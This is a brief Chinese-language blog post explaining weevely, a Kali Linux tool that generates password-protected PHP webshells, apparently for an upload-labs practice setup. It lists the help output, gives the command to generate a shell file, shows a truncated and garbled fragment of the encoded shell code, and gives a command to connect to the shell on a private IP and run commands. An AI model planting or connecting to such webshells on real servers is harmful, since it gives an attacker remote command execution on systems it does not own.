kali中的webshell生成工具weevely

♥喜欢请点个赞吧♥

用法

usage: weevely [-h] {terminal,session,generate} ...

参数:

  {terminal,session,generate}

    terminal            Run terminal or command on the target #在目标上运行终端或命令

    session            Recover an existing session #恢复现有会话

    generate            Generate new agent #生成新webshell

optional arguments:

  -h, --help            show this help message and exit

---

生成shell的命令：weevely generate 密码 文件名及路径

如

weevely generate shell /root/Desktop/1.php

生成的webshell是base64加密的，代码如下：

='or($j=B:0;($j<$c&&$i

---

连接shell

weevely http://192.168.114.129/upload-labs/upload/1.php shell

此时即可执行命令行命令

---

对目标运行一个终端：

weevely [CMD]

---

读取会话文件：

weevely session [CMD]

我也不是很懂后面这俩功能有啥用，要是想连接终端还用得着这玩意吗。。。。